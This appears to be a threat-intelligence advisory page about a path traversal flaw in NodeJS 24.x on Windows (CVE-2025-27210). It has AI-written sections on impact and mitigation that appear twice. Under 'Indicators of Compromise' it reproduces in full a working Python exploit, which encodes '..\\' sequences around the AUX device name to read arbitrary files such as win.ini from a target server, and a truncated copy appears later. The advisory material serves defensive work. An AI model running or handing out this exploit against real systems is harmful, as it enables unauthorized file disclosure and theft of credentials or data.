NodeJS 24.x - Path Traversal
NodeJS 24.x - Path Traversal
AI Analysis
Technical Summary
The reported security threat concerns a path traversal vulnerability affecting NodeJS version 24.x. Path traversal vulnerabilities occur when an application improperly sanitizes user-supplied input, allowing attackers to manipulate file paths and access files or directories outside the intended scope. In the context of NodeJS, this could allow a remote attacker to read sensitive files on the server, such as configuration files, source code, or credentials, by exploiting improper validation of file path inputs. The presence of exploit code written in Python indicates that the vulnerability can be triggered remotely without requiring authentication, increasing the risk of exploitation. Although specific affected versions within 24.x are not detailed, the lack of patch information suggests that this is a newly disclosed or unpatched vulnerability. The medium severity rating aligns with the typical impact of path traversal vulnerabilities, which primarily threaten confidentiality and potentially integrity if sensitive files are modified or leveraged for further attacks. The exploit being remote and not requiring user interaction further raises the risk profile. Given NodeJS's widespread use in web applications and backend services, this vulnerability could be leveraged to compromise server environments if left unmitigated.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the confidentiality of sensitive data hosted on NodeJS 24.x servers. Attackers exploiting this flaw could access critical files such as environment variables, private keys, or proprietary business logic, potentially leading to data breaches, intellectual property theft, or further system compromise. Industries with stringent data protection requirements, such as finance, healthcare, and government sectors, could face regulatory penalties under GDPR if sensitive personal data is exposed. Additionally, compromised servers could be used as pivot points for lateral movement within corporate networks, amplifying the impact. The medium severity suggests that while the vulnerability is serious, it may require specific conditions or knowledge to exploit fully, but the availability of public exploit code lowers the barrier for attackers. European organizations relying on NodeJS 24.x for public-facing applications or internal services should consider this a priority threat.
Mitigation Recommendations
To mitigate this vulnerability, European organizations should: 1) Immediately audit all NodeJS 24.x deployments to identify affected instances. 2) Apply any available patches or updates from the NodeJS maintainers as soon as they are released. 3) Implement strict input validation and sanitization on all file path inputs to prevent traversal sequences such as '../'. 4) Employ runtime application self-protection (RASP) or web application firewalls (WAFs) configured to detect and block path traversal attempts. 5) Restrict file system permissions for NodeJS processes to the minimum necessary scope, preventing unauthorized file access even if traversal is attempted. 6) Conduct thorough code reviews focusing on file handling logic to identify and remediate unsafe path concatenations or user input usage. 7) Monitor logs for suspicious file access patterns indicative of exploitation attempts. 8) Consider containerization or sandboxing NodeJS applications to limit the blast radius of potential exploitation.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Poland, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title : NodeJS 24.x - Path Traversal # Exploit Author : Abdualhadi khalifa # CVE : CVE-2025-27210 import argparse import requests import urllib.parse import json import sys def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict: traverse_sequence = "..\\" * 6 normalized_target_file = target_file.replace("C:", "").lstrip("\\/") malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}" encoded_malicious_path = urllib.parse.quote(malicious_path, safe='') full_url = f"{target_url}/{encoded_malicious_path}" response_data = { "target_url": target_url, "target_file_attempted": target_file, "malicious_path_sent_raw": malicious_path, "malicious_path_sent_encoded": encoded_malicious_path, "full_request_url": full_url, "http_method": method, "success": False, "response_status_code": None, "response_content_length": None, "extracted_content": None, "error_message": None } try: print(f"[*] Preparing precise Path Traversal exploit...") print(f"[*] Malicious Path (Encoded): {encoded_malicious_path}") print(f"[*] Request URL: {full_url}") if method.upper() == 'GET': response = requests.get(full_url, timeout=15) elif method.upper() == 'POST': response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15) else: raise ValueError("Unsupported HTTP method. Use 'GET' or 'POST'.") response_data["response_status_code"] = response.status_code response_data["response_content_length"] = len(response.content) if response.status_code == 200: content = response.text response_data["extracted_content"] = content if target_file.lower().endswith("win.ini") and "[windows]" in content.lower(): response_data["success"] = True elif len(content) > 0: # For any other file, just check for non-empty content. response_data["success"] = True else: response_data["error_message"] = "Received 200 OK, but content is empty or unexpected." else: response_data["error_message"] = f"Server responded with non-200 status code: {response.status_code}" except requests.exceptions.Timeout: response_data["error_message"] = "Request timed out. Server might be slow or unresponsive." except requests.exceptions.ConnectionError: response_data["error_message"] = "Connection failed to target. Ensure the Node.js application is running and accessible." except ValueError as ve: response_data["error_message"] = str(ve) except Exception as e: response_data["error_message"] = f"An unexpected error occurred: {str(e)}" return response_data def main(): parser = argparse.ArgumentParser( prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py", description=""" Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210). This script leverages how Node.js functions (like path.normalize() or path.join()) might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal sequences. """, formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument( "-t", "--target", type=str, required=True, help="Base URL of the vulnerable Node.js application endpoint (e.g., http://localhost:3000/files)." ) parser.add_argument( "-f", "--file", type=str, default="C:\\Windows\\win.ini", help="""Absolute path to the target file on the Windows system. Examples: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx """ ) parser.add_argument( "-m", "--method", type=str, choices=["GET", "POST"], default="GET", help="HTTP method for the request ('GET' or 'POST')." ) args = parser.parse_args() # --- CLI Output Formatting --- print("\n" + "="*70) print(" CVE-2025-27210 Node.js Path Traversal Exploit PoC") print("="*70) print(f"[*] Target URL: {args.target}") print(f"[*] Target File: {args.file}") print(f"[*] HTTP Method: {args.method}") print("-"*70 + "\n") result = exploit_path_traversal_precise(args.target, args.file, args.method) print("\n" + "-"*70) print(" Exploit Results") print("-"*70) print(f" Request URL: {result['full_request_url']}") print(f" Malicious Path Sent (Raw): {result['malicious_path_sent_raw']}") print(f" Malicious Path Sent (Encoded): {result['malicious_path_sent_encoded']}") print(f" Response Status Code: {result['response_status_code']}") print(f" Response Content Length: {result['response_content_length']} bytes") if result["success"]: print("\n [+] File successfully retrieved! Content below:") print(" " + "="*66) print(result["extracted_content"]) print(" " + "="*66) else: print("\n [-] File retrieval failed or unexpected content received.") if result["error_message"]: print(f" Error: {result['error_message']}") elif result["extracted_content"]: print("\n Response content (partial, may indicate server error or unexpected data):") print(" " + "-"*66) # Truncate long content if not fully successful print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"]) print(" " + "-"*66) print("\n" + "="*70) print(" Complete") print("="*70 + "\n") if __name__ == "__main__": main()
NodeJS 24.x - Path Traversal
Description
NodeJS 24.x - Path Traversal
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a path traversal vulnerability affecting NodeJS version 24.x. Path traversal vulnerabilities occur when an application improperly sanitizes user-supplied input, allowing attackers to manipulate file paths and access files or directories outside the intended scope. In the context of NodeJS, this could allow a remote attacker to read sensitive files on the server, such as configuration files, source code, or credentials, by exploiting improper validation of file path inputs. The presence of exploit code written in Python indicates that the vulnerability can be triggered remotely without requiring authentication, increasing the risk of exploitation. Although specific affected versions within 24.x are not detailed, the lack of patch information suggests that this is a newly disclosed or unpatched vulnerability. The medium severity rating aligns with the typical impact of path traversal vulnerabilities, which primarily threaten confidentiality and potentially integrity if sensitive files are modified or leveraged for further attacks. The exploit being remote and not requiring user interaction further raises the risk profile. Given NodeJS's widespread use in web applications and backend services, this vulnerability could be leveraged to compromise server environments if left unmitigated.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the confidentiality of sensitive data hosted on NodeJS 24.x servers. Attackers exploiting this flaw could access critical files such as environment variables, private keys, or proprietary business logic, potentially leading to data breaches, intellectual property theft, or further system compromise. Industries with stringent data protection requirements, such as finance, healthcare, and government sectors, could face regulatory penalties under GDPR if sensitive personal data is exposed. Additionally, compromised servers could be used as pivot points for lateral movement within corporate networks, amplifying the impact. The medium severity suggests that while the vulnerability is serious, it may require specific conditions or knowledge to exploit fully, but the availability of public exploit code lowers the barrier for attackers. European organizations relying on NodeJS 24.x for public-facing applications or internal services should consider this a priority threat.
Mitigation Recommendations
To mitigate this vulnerability, European organizations should: 1) Immediately audit all NodeJS 24.x deployments to identify affected instances. 2) Apply any available patches or updates from the NodeJS maintainers as soon as they are released. 3) Implement strict input validation and sanitization on all file path inputs to prevent traversal sequences such as '../'. 4) Employ runtime application self-protection (RASP) or web application firewalls (WAFs) configured to detect and block path traversal attempts. 5) Restrict file system permissions for NodeJS processes to the minimum necessary scope, preventing unauthorized file access even if traversal is attempted. 6) Conduct thorough code reviews focusing on file handling logic to identify and remediate unsafe path concatenations or user input usage. 7) Monitor logs for suspicious file access patterns indicative of exploitation attempts. 8) Consider containerization or sandboxing NodeJS applications to limit the blast radius of potential exploitation.
Affected Countries
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Technical Details
- Edb Id
- 52369
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for NodeJS 24.x - Path Traversal
# Exploit Title : NodeJS 24.x - Path Traversal # Exploit Author : Abdualhadi khalifa # CVE : CVE-2025-27210 import argparse import requests import urllib.parse import json import sys def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict: traverse_sequence = "..\\" * 6 normalized_target_file = target_file.replace("C:", "").lstrip("\\/") malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}" encoded_malicious_path = urllib... (5455 more characters)
Threat ID: 687816daa83201eaacdebc6f
Added to database: 7/16/2025, 9:17:14 PM
Last enriched: 8/11/2025, 1:20:28 AM
Last updated: 8/21/2025, 8:42:29 AM
Views: 56
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